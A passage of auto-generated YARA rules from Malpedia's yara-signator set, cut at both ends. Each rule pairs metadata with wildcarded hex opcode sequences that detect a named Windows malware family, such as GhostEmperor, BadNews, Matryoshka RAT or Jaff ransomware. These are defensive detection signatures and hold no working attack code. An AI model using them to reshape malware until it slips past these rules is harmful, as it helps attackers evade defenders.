		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sienna_purple_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8adbc4e03be709562af32b6e6ccf0666aff8c85f72382f2d72c386abf2d917ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? c645fc05 e9???????? 83ff11 0f85b6000000 6a74 8d8560ffffff }
		$sequence_1 = { 8955f8 894514 3b45dc 0f8c41ffffff 5f 5e 5b }
		$sequence_2 = { 8d86d4000000 50 8d86fc000000 50 8d45dc 50 e8???????? }
		$sequence_3 = { 8d4ddc e9???????? 8d4dc8 e9???????? 8d8d28ffffff e9???????? 8d8d14ffffff }
		$sequence_4 = { 99 0bfe f7fb c1e708 0fb60c0a 8d4201 99 }
		$sequence_5 = { e8???????? 8bf0 83c410 85f6 0f858b050000 c785b8ebffffe05e4300 eb24 }
		$sequence_6 = { 8d8d98fdffff f7d8 1bc0 05b1040000 50 e8???????? 8d45d4 }
		$sequence_7 = { e8???????? 83c40c 85c0 0f85fa000000 50 8d45c8 50 }
		$sequence_8 = { e8???????? e9???????? 0f57c0 c745e800000000 8d4dd0 660fd645e0 f30f7f45d0 }
		$sequence_9 = { e8???????? 8b8d74feffff 8d855cffffff 53 50 e8???????? 8d85dcfeffff }
	condition:
		7 of them and filesize < 2930688
}

rule MALPEDIA_Win_5T_Downloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4a370ca-6c61-5c78-8868-cd8df81cd00c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.5t_downloader_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "584a19ffb7b53f3b149aeb982ecf23155ae77e2c2b57bc23c34103eb885f8cf5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7403 5d ffe1 83c8ff }
		$sequence_1 = { 55 8bec 8b4508 85c0 7416 83781400 7510 }
		$sequence_2 = { 8b4508 85c0 7416 83781400 7510 }
		$sequence_3 = { 83781800 7403 5d ffe1 }
		$sequence_4 = { 85c9 7409 83781800 7403 5d ffe1 83c8ff }
		$sequence_5 = { 85c9 7409 83781800 7403 5d ffe1 }
		$sequence_6 = { 83781800 7403 5d ffe1 83c8ff }
		$sequence_7 = { 85c9 7409 83781800 7403 }
		$sequence_8 = { 85c0 7416 83781400 7510 }
		$sequence_9 = { 7409 83781800 7403 5d }
	condition:
		7 of them and filesize < 539648
}

rule MALPEDIA_Win_Cohhoc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eea8dd21-8908-5be8-a2a6-255fd0ffd6ca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cohhoc_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "722fe87316c37305b3652db78bba219c2fd88a714a6565f0318a82058c8a1b30"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b9c242c3c0000 66ab aa b9000f0000 33c0 8d7c2420 c745008d000000 }
		$sequence_1 = { 57 33c0 bf???????? 83c9ff f2ae }
		$sequence_2 = { 50 68???????? 68???????? c74424200c000000 895c2424 c744242801000000 ffd6 }
		$sequence_3 = { 8d7c244c 83c9ff 33c0 83c420 f2ae }
		$sequence_4 = { 8b4c2420 8b542424 8b6c2428 8b5c242c 6a08 }
		$sequence_5 = { be???????? 8d7c2410 33ed f3a5 8b4c245c }
		$sequence_6 = { 8d442410 53 50 68???????? 68???????? c74424200c000000 }
		$sequence_7 = { 894c2410 89442414 0f85f5feffff b801000000 5f 895d08 }
		$sequence_8 = { 8944242c 0f85b5feffff 8bce e8???????? 668b5702 50 }
		$sequence_9 = { 8b0d???????? 891d???????? 51 c705????????02000000 e8???????? 83c420 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Alreay_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e56c2c54-ad52-5b52-a7dc-5167ef6188a3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alreay_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "691ad5e65c868108d2cf9f6c8d61af6c7a9420c74e344971bfa56b9838124959"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a4f06 0bc2 33d2 8b742414 8a7704 8a5705 c1e208 }
		$sequence_1 = { 0f859ffdffff 8b8538010000 3bc3 741d 83f801 7418 899de8010000 }
		$sequence_2 = { 8b6c2424 898760020000 8b442420 896e58 8b6c242c 896e68 89861c010000 }
		$sequence_3 = { 8bd0 0bd3 0f8419010000 33c9 8bd3 894c2420 894c2424 }
		$sequence_4 = { b926020000 33c0 8bfe f3ab 8dbe10020000 57 e8???????? }
		$sequence_5 = { 8b542418 51 57 52 ff15???????? 85c0 7508 }
		$sequence_6 = { 8d4c2414 56 33ed 8b38 895c244c 894c2414 e8???????? }
		$sequence_7 = { 897c2418 89bc3490000000 8b7c241c 8bf7 8bdf c1e615 c1eb0b }
		$sequence_8 = { 8b7e34 3bfb 7436 8b4760 3bc3 740f 50 }
		$sequence_9 = { 8beb 8aa760954700 33e8 c1e508 33c0 33db 8a442411 }
	condition:
		7 of them and filesize < 1867776
}

rule MALPEDIA_Win_Ghostemperor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb9bf224-db51-5bdd-bed6-58106efc8832"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghostemperor_auto.yar#L1-L226"
		license_url = "N/A"
		logic_hash = "7df60cceb98a60fe2e2f53ccef69a2b508e5a3019ab430e008473c427496d31f"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c7464800000000 488d4e18 ff15???????? 488b4e40 }
		$sequence_1 = { 89d5 4889ce b920000000 e8???????? 4889c7 0f57c0 0f2900 }
		$sequence_2 = { 4885c9 7443 4889ce ff15???????? }
		$sequence_3 = { 4883c601 4883c2f8 39f1 75ec 4929d1 }
		$sequence_4 = { 4883ec28 ff15???????? 488d542424 89c1 ff15???????? 85c0 7406 }
		$sequence_5 = { 418d42ff 4c8d5801 4983fb04 7222 488d3cc2 4883c708 }
		$sequence_6 = { 4839cf 0f86fb000000 488d04c1 4883c008 }
		$sequence_7 = { 488d5108 e8???????? 8b4648 85c0 746e }
		$sequence_8 = { 49895d38 41897530 eb18 418b07 85c0 7411 4c03f8 }
		$sequence_9 = { 01c3 69cbe8030000 81c130750000 4883ec20 }
		$sequence_10 = { 01c1 89ca c1ea1f c1f904 }
		$sequence_11 = { 488364c60800 488b05???????? 8a5008 488d4810 ff15???????? }
		$sequence_12 = { 41391e 0f84fc010000 418b06 85c0 745d 448b4540 }
		$sequence_13 = { 052797fa04 351337a665 8945f4 488b4510 }
		$sequence_14 = { 4154 4156 488d6898 4881ec50010000 4533f6 4c8d257b390000 488bd9 }
		$sequence_15 = { 05f226dac9 35bcfe1eea 894534 488b4550 }
		$sequence_16 = { c745505f007300 c74554ee005200 0f1185c8030000 c74558ec005600 c7455c05008500 0f104d50 }
		$sequence_17 = { 00c2 488b8568020000 8854080c 488b85b0020000 }
		$sequence_18 = { 488bcf 2b542428 83c207 e8???????? 85c0 }
		$sequence_19 = { 0552f0384d 358e257f87 894530 488b4570 }
		$sequence_20 = { 01d1 89ca c1e205 89cb }
		$sequence_21 = { 3d040000c0 7567 8b542450 33c9 ff15???????? 488bf8 }
		$sequence_22 = { 00c1 488b8568020000 488b95b0020000 884c100c }
		$sequence_23 = { 33c0 488b6c2438 488b742440 48894f38 }
	condition:
		7 of them and filesize < 1115136
}

rule MALPEDIA_Win_Unidentified_107_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "63234ec8-e935-5a5a-a7c8-23180ee85d34"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_107_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "8867f317de2ddfffcab36cc6ed6aa7b70e1fee92a8d78957e157f26440f20f17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7582 4989d8 31d2 4c89e9 e8???????? 4989d8 }
		$sequence_1 = { 0f1f00 8b0b ffd7 4989c4 }
		$sequence_2 = { 4989c7 48c7c13b43f72a e8???????? 4883c464 488b4c2408 488b542410 4c8b442418 }
		$sequence_3 = { 4883f807 7e96 8b13 4883f80b 0f8f33010000 8b03 85c0 }
		$sequence_4 = { 4989cc 85db 0f8e16010000 488b05???????? 4531c9 4883c018 }
		$sequence_5 = { 48b9ca0e99c700000000 e8???????? 4989c7 48b9ca0e99c700000000 e8???????? }
		$sequence_6 = { 8b5208 4901d0 4d39c4 0f828a000000 4183c101 4883c028 4139d9 }
		$sequence_7 = { e8???????? 8b05???????? 85c0 0f8e57ffffff 83e801 488b1d???????? 31ff }
		$sequence_8 = { 85db 0f8e16010000 488b05???????? 4531c9 4883c018 0f1f840000000000 }
		$sequence_9 = { 8b560c 41b830000000 488d0c10 488b05???????? }
	condition:
		7 of them and filesize < 254976
}

rule MALPEDIA_Win_Maudi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1d89cb82-59a5-5a2e-ac6c-c7d75443bace"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maudi_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "d20863b5f36f8cd108ded6d29f5c3bed96160b9b4abc34b0d10161e337344d4d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 61 6886180000 59 80740fff36 e2f9 }
		$sequence_1 = { 5d bf???????? 6a40 6800100000 6886180000 6a00 }
		$sequence_2 = { 89e5 5d 8b80a4000000 83f806 7546 }
		$sequence_3 = { 52 68???????? 87d1 87ca 51 }
		$sequence_4 = { 55 89e5 5d 8b80a4000000 83f806 7546 }
		$sequence_5 = { 6804010000 56 68???????? 87d1 }
		$sequence_6 = { 89e5 81ec04010000 56 55 89e5 5d 89e6 }
		$sequence_7 = { ff25???????? 83c418 6a00 57 56 68???????? 87d1 }
		$sequence_8 = { 59 59 ff25???????? 68???????? 87d1 87ca }
		$sequence_9 = { 59 e9???????? 55 89e5 5d bf???????? 6a40 }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Scieron_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "33fc8152-5e48-52c8-ac9b-34f4ee2aaa91"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scieron_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "dfba23a630ecd443346ae8a23831b1a493de37d653bee925abed5860ba8acc68"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd0 85ff 7411 833d????????00 }
		$sequence_1 = { 8b442424 33ff 217c241c 0144241c ff442410 6a10 58 }
		$sequence_2 = { 57 eb6b 8b7c2410 3bfd }
		$sequence_3 = { ffb614400010 83c718 ffb618400010 8d443c30 50 }
		$sequence_4 = { c9 c3 55 8bec 51 e8???????? e8???????? }
		$sequence_5 = { 7542 50 50 0fb78604020000 }
		$sequence_6 = { ffd7 ffd0 6a04 8d442414 }
		$sequence_7 = { e9???????? 81ec8c020000 53 8b1d???????? 55 33c0 57 }
		$sequence_8 = { 8d85d8fdffff 50 ffd6 85c0 7409 }
		$sequence_9 = { 53 6a40 ffd7 85c0 7414 }
	condition:
		7 of them and filesize < 100352
}

rule MALPEDIA_Win_Badnews_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "669fd264-b6d6-5d6c-8250-2eaeef7607f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badnews_auto.yar#L1-L205"
		license_url = "N/A"
		logic_hash = "70dca6886c221c9bfe5fe7481db4825e4f99d418a6f0f0b45196e36a94b37f92"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 50 e8???????? 83c404 68???????? 6804010000 }
		$sequence_1 = { c0e004 02c1 3423 c0c003 }
		$sequence_2 = { c78534ffffff47657457 c78538ffffff696e646f c7853cffffff77546578 66c78540ffffff7457 }
		$sequence_3 = { c705????????33322e64 66c705????????6c6c c605????????00 ff15???????? }
		$sequence_4 = { a1???????? 33c5 8945fc 53 56 57 8d8534ffffff }
		$sequence_5 = { eb02 33c9 c0e004 02c1 }
		$sequence_6 = { 55 8bec 8b450c 3d01020000 }
		$sequence_7 = { 68???????? 6a1a 68???????? 57 }
		$sequence_8 = { 6a00 d1f9 68???????? 03c9 }
		$sequence_9 = { 57 6a00 6880000000 6a04 6a00 6a01 6a04 }
		$sequence_10 = { ffd3 85c0 7403 83c608 8a06 }
		$sequence_11 = { ff15???????? 85c0 7405 83c004 }
		$sequence_12 = { 68???????? ff15???????? b8???????? 83c424 8d5002 668b08 }
		$sequence_13 = { 41 84c0 75f9 2bce 3bd1 72e4 }
		$sequence_14 = { 8bc7 c1f805 83e71f c1e706 8b0485d0a70110 }
		$sequence_15 = { 4b 75da 8b35???????? 8b9d50fbffff }
		$sequence_16 = { 8bce 83e11f c1e106 8b0485d0a70110 c644080401 56 e8???????? }
		$sequence_17 = { 6a03 8802 42 8b048dd0a70110 4e 5f 6a0a }
		$sequence_18 = { c1e106 899528e5ffff 53 8b1495d0a70110 }
		$sequence_19 = { 84c0 75f9 2bce 741c 804415ec03 8d4dec 42 }
		$sequence_20 = { c7465c00350110 83660800 33ff 47 897e14 }
	condition:
		7 of them and filesize < 612352
}

rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e67f9b00-164c-59e2-9dc8-5dd2e0d5203f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matryoshka_rat_auto.yar#L1-L142"
		license_url = "N/A"
		logic_hash = "e984417b389a4155a102710aa04d6d8dad2d1f007db82c883ebc84c4c1b44825"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b037 c3 b073 c3 }
		$sequence_1 = { c3 b06f c3 b063 c3 }
		$sequence_2 = { 8b46fc 8947fc 49 75ed }
		$sequence_3 = { 750a 488bcb e8???????? eb0f 488bd3 488d0df7520400 }
		$sequence_4 = { 7509 bb99ffffff 85db 740d 488bcf }
		$sequence_5 = { 8b4648 48 48 7446 48 }
		$sequence_6 = { 750a 4883c310 0fba2f11 eb27 41b807000000 488d152bb50200 }
		$sequence_7 = { 8b4704 8b3491 890491 8bd6 }
		$sequence_8 = { 750a 443b774c 8d4399 0f45d8 450137 }
		$sequence_9 = { 750a 4883c30a 0fba2f12 eb4a 41b808000000 488d153eb50200 }
		$sequence_10 = { 8b4704 8bf1 33d1 81e6ff030000 }
		$sequence_11 = { 8b4660 89471c 8d4670 894724 }
		$sequence_12 = { 8b4664 034668 8b4e60 03ca }
		$sequence_13 = { 7509 c7412400000002 eb4c 48394130 }
	condition:
		7 of them and filesize < 843776
}

rule MALPEDIA_Win_Jaff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e0c41ef8-0a92-555f-b34f-5db2f4589c45"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jaff_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "6a4dc9720f78e5a6e283d3b622047ad1fb4dc38cefeb255d404c0bdb257eb37c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 395604 760b 8b36 0fb73456 8975f4 }
		$sequence_1 = { 8b55c8 33c0 8bca 85d2 7419 8b75c4 66833c4600 }
		$sequence_2 = { 8b4de0 8b3d???????? 51 6a00 ffd7 50 }
		$sequence_3 = { 668b144a 66891448 41 3b4e04 72f0 8b4e04 }
		$sequence_4 = { ffd7 50 ffd3 8b7d0c 8b4f04 }
		$sequence_5 = { 50 6a00 ffd7 50 ff15???????? 5f 8bc6 }
		$sequence_6 = { 56 8945f8 ffd3 8945fc 83f808 7705 }
		$sequence_7 = { 41 3b4df8 76a8 8b4d08 80790c00 740d 8b5510 }
		$sequence_8 = { 8b4ddc 8b3d???????? 51 6a00 ffd7 50 ffd3 }
		$sequence_9 = { 0fb70448 eb02 33c0 0fbff0 2b45f4 0fbffa 03f7 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Mebromi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3d64e85a-906f-5ddb-9f75-04eb426f7ebc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mebromi_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "051f5b8119e90ef14be758def00ef62b697ce727969ed9523ac57414d0773faf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5f eb26 8d4508 8db694702900 6a00 }
		$sequence_1 = { b82c2900d8 2c29 0000 2d29008a46 0323 }
		$sequence_2 = { 8bec 8b4508 ff348520712900 ff15???????? }
		$sequence_3 = { eb0f 0fb6d2 f68201a0290004 7403 }
		$sequence_4 = { 56 ffd7 3bdd 5b }
		$sequence_5 = { 68000000c0 68???????? ff15???????? 8b3d???????? 83f8ff a3???????? 7544 }
		$sequence_6 = { 58 c20c00 ff05???????? 833d????????01 55 56 57 }
		$sequence_7 = { 68???????? ff742410 ff15???????? 8bf0 85f6 7416 57 }
		$sequence_8 = { 8888009f2900 eb1f 83f861 7213 83f87a }
		$sequence_9 = { ff742410 ff15???????? 8bf0 85f6 7416 57 56 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Jupiter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "75f69a27-2335-5e55-aba0-ab6c4b24c511"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jupiter_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "9a9545049cbc95230bffe2c6ee7b65da4bdadff47104616baed37c8cd6306b50"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c605????????01 66c705????????0101 c605????????01 c605????????01 }
		$sequence_1 = { 8a4147 884104 8a4146 884105 8b4144 c1f808 884106 }
		$sequence_2 = { 884104 8a4146 884105 8b4144 c1f808 884106 8a4144 }
		$sequence_3 = { 8a4146 884105 8b4144 c1f808 884106 }
		$sequence_4 = { c605????????01 c605????????01 66c705????????0101 c605????????01 }
		$sequence_5 = { 8a4147 884104 8a4146 884105 }
		$sequence_6 = { c605????????01 66c705????????0101 c605????????01 c605????????01 66c705????????0101 c605????????01 }
		$sequence_7 = { 884104 8a4146 884105 8b4144 }
		$sequence_8 = { 52 52 6802000000 6803000000 }
		$sequence_9 = { 8a4146 884105 8b4144 c1f808 }
	condition:
		7 of them and filesize < 224112
}

rule MALPEDIA_Win_Graphdrop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "237c51dc-e941-5d7c-b6d3-2562536d7e1c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphdrop_auto.yar#L1-L106"
		license_url = "N/A"
		logic_hash = "0e6707eb4bbec74f1d6caa5a7e229009514fcba8c763f4b645f99a1b6c93d629"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4155 0f77 53 90 }
		$sequence_1 = { 4155 49c7c501000000 4150 4152 415a 4158 }
		$sequence_2 = { 0f77 4157 90 415f }
		$sequence_3 = { 0f77 0f77 415d 90 }
		$sequence_4 = { 50 58 5a 49ffc9 }
		$sequence_5 = { 0f77 0f77 5b 0f77 }
		$sequence_6 = { 90 0f77 415c e9???????? }
		$sequence_7 = { 49c7c501000000 4150 4152 415a }
		$sequence_8 = { 4150 4152 415a 4158 }
		$sequence_9 = { 0f77 4155 0f77 4150 }
	condition:
		7 of them and filesize < 4186112
}

rule MALPEDIA_Win_Voidoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "21b775d6-fc03-5dd6-a228-147ffaddc7f0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.voidoor_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3d15a11c9349ebbd78b8b5ac32c650a51c9ca8251bf91feba17b7b25a2692cb6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740d 83cb40 eb66 81cb80000000 eb5e 83cb20 eb59 }
		$sequence_1 = { 83c404 837c241000 7509 55 e8???????? 83c404 5b }
		$sequence_2 = { c786a805000002000000 5e c3 83f901 74bf 68???????? 50 }
		$sequence_3 = { c7461807000000 eb36 803f0a 756d 47 83c3ff c7461807000000 }
		$sequence_4 = { 0f8498000000 83f801 0f848f000000 83f8ff 0f8486000000 f6470c82 7551 }
		$sequence_5 = { e8???????? 83c404 85c0 0f8547010000 817e782c010000 0f8cdc000000 39850c030000 }
		$sequence_6 = { ff33 ffd6 ff7304 ffd6 8b4c243c 5f 5e }
		$sequence_7 = { e9???????? 8d8de8fdffff e9???????? 8d8d48feffff e9???????? 8b8d78fcffff e9???????? }
		$sequence_8 = { c78424e005000001010101 c78424e405000001010101 66c78424e80500000100 33c9 8bff 8a848c08050000 3422 }
		$sequence_9 = { e9???????? 57 33ff 8bcf 894de4 8bc7 3998f8f14b00 }
	condition:
		7 of them and filesize < 1744896
}

rule MALPEDIA_Win_Finfisher_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
